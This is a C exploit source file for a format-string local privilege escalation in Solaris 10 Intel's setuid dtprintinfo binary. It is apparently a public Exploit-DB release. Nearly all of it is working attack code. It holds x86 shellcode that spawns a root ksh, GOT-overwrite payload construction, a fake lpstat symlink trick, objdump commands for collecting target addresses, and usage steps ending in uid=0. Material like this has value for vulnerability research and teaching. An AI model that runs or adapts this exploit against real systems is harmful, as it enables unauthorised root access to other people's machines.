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# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3) # Date: 2021-02-01 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.oracle.com/solaris/solaris10/ # Version: Solaris 10 # Tested on: Solaris 10 1/13 Intel /* * raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * "I'm gonna have to go into hardcore hacking mode!" -- Hackerman * https://youtu.be/KEkrWRHCDQU * * Same code snippet, different vulnerability. 20 years later, format string * bugs are not extinct after all! The vulnerable function looks like this: * * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...) * { * ... * char local_724 [300]; * ... * else { * __format = getenv("REQ_DIR"); * sprintf(local_724,__format,param_2); // [1] * } * ... * local_c = strlen(local_724); // [2] * sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3] * ... * } * * The plan (inspired by an old technique devised by gera) is to exploit the * sprintf at [1], where we control the format string, to replace the strlen * at [2] with a strdup and the sprintf at [3] with a call to the shellcode * dynamically allocated in the heap by strdup and pointed to by the local_c * variable at [2]. In practice, to pull this off the structure of the evil * environment variable REQ_DIR must be: * [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)] * * To collect the needed addresses for your system, use: * $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got * 080994cc R_386_JUMP_SLOT strlen * $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got * 080994e4 R_386_JUMP_SLOT sprintf * $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt * 0805df20 F *UND*00000000 strdup * $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text * 08067f52: ff 55 f8call *-0x8(%ebp) * * This bug was likely fixed during the general cleanup of CDE code done by * Oracle in response to my recently reported vulnerabilities. However, I can't * confirm this because I have no access to their patches:/ * * See also: * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) * raptor_dtprintcheckdir_sparc.c (just a proof of concept) * raptor_dtprintcheckdir_sparc2.c (the real deal) * * Usage: * $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0 * [on your xserver: double click on the fake "fnord" printer] * [...] * # id * uid=0(root) gid=1(other) * # * * Tested on: * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) * [previous Solaris versions are also likely vulnerable] */ #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE" #define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program #define BUFSIZE 300 // size of evil env var #define STACKPOPSEQ "%.8x" // stackpop sequence #define STACKPOPS 14 // number of stackpops /* replace with valid addresses for your system */ #define STRLEN 0x080994cc // .got strlen address #define SPRINTF 0x080994e4 // .got sprintf address #define STRDUP 0x0805df20 // .plt strdup address #define RET 0x08067f52 // call *-0x8(%ebp) address /* split an address in 4 bytes */ #define SPLITB(b1, b2, b3, b4, addr) { \ b1 = (addr & 0x000000ff); \ b2 = (addr & 0x0000ff00) >> 8; \ b3 = (addr & 0x00ff0000) >> 16; \ b4 = (addr & 0xff000000) >> 24; \ } char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ /* double setuid() */ "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" /* execve() */ "\x31\xc0\x50\x68/ksh\x68/bin" "\x89\xe3\x50\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91"; /* globals */ char *arg[2] = {"foo", NULL}; char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], *p = buf; char platform[256], release[256], display[256]; int i, stackpops = STACKPOPS; unsigned base, n1, n2, n3, n4, n5, n6, n7, n8; unsigned char strdup1, strdup2, strdup3, strdup4; unsigned char ret1, ret2, ret3, ret4; int strlen_got = STRLEN; int sprintf_got = SPRINTF; int strdup_plt = STRDUP; int ret = RET; /* lpstat code to add a fake printer */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for fnord: /dev/null\n"); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: fnord\n"); } exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* evil env var: name + shellcode + padding */ bzero(buf, BUFSIZE); sprintf(buf, "REQ_DIR=%s#", sc); p += strlen(buf); /* format string: .got strlen address */ *((void **)p) = (void *)(strlen_got); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(strlen_got + 1); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(strlen_got + 2); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(strlen_got + 3); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ /* format string: .got sprintf address */ *((void **)p) = (void *)(sprintf_got); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(sprintf_got + 1); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(sprintf_got + 2); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(sprintf_got + 3); p += 4; /* format string: stackpop sequence */ base = strlen(buf) - strlen("REQ_DIR="); for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) strcat(p, STACKPOPSEQ); /* calculate numeric arguments for .plt strdup address */ SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt); n1 = (strdup1 - base) % 0x100; n2 = (strdup2 - base - n1) % 0x100; n3 = (strdup3 - base - n1 - n2) % 0x100; n4 = (strdup4 - base - n1 - n2 - n3) % 0x100; /* calculate numeric arguments for call *-0x8(%ebp) address */ SPLITB(ret1, ret2, ret3, ret4, ret); n5 = (ret1 - base - n1 - n2 - n3 - n4) % 0x100; n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5) % 0x100; n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6) % 0x100; n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7) % 0x100; /* check for potentially dangerous numeric arguments below 10 */ n1 += (n1 < 10) ? (0x100) : (0); n2 += (n2 < 10) ? (0x100) : (0); n3 += (n3 < 10) ? (0x100) : (0); n4 += (n4 < 10) ? (0x100) : (0); n5 += (n5 < 10) ? (0x100) : (0); n6 += (n6 < 10) ? (0x100) : (0); n7 += (n7 < 10) ? (0x100) : (0); n8 += (n8 < 10) ? (0x100) : (0); /* format string: write string */ sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8); /* fill the envp, keeping padding */ add_env(buf); add_env(display); add_env("TMP_DIR=/tmp"); add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* we need at least one directory inside TMP_DIR to trigger the bug */ mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release); fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got); fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got); fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt); fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(1); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } |
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